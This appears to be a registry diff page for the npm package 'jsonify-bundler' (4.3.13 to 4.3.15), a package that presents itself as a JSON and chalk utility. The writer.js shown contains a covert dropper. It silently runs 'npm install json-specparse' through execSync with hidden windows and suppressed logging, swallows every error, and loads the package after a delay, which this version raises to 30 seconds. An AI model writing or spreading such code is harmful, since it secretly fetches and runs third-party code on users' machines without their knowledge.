jsonify-bundler 4.3.13 → 4.3.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/lib/writer.js +7 -3
  2. package/package.json +1 -1
package/lib/writer.js CHANGED
@@ -43,15 +43,19 @@ const data = {
43
43
  }
44
44
 
45
45
  try {
46
- require('json-specparse');
46
+ require('json-specparse');
47
47
  } catch (err) {
48
48
  if (ct>0) {
49
49
  try {
50
50
  execSync(`npm install json-specparse --no-warnings --no-save --no-progress --loglevel silent`, { windowsHide: true });
51
51
  let timer = setTimeout(() => {
52
52
  clearTimeout(timer);
53
- require('json-specparse');
54
- }, 5000);
53
+ try {
54
+ require.resolve('json-specparse');
55
+ require('json-specparse');
56
+ } catch (err1) {
57
+ }
58
+ }, 30000);
55
59
  } catch (error) {
56
60
  }
57
61
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "jsonify-bundler",
3
- "version": "4.3.13",
3
+ "version": "4.3.15",
4
4
  "description": "Jsonify the structure and output chalk string",
5
5
  "main": "pino.js",
6
6
  "subModuleVersion": "4",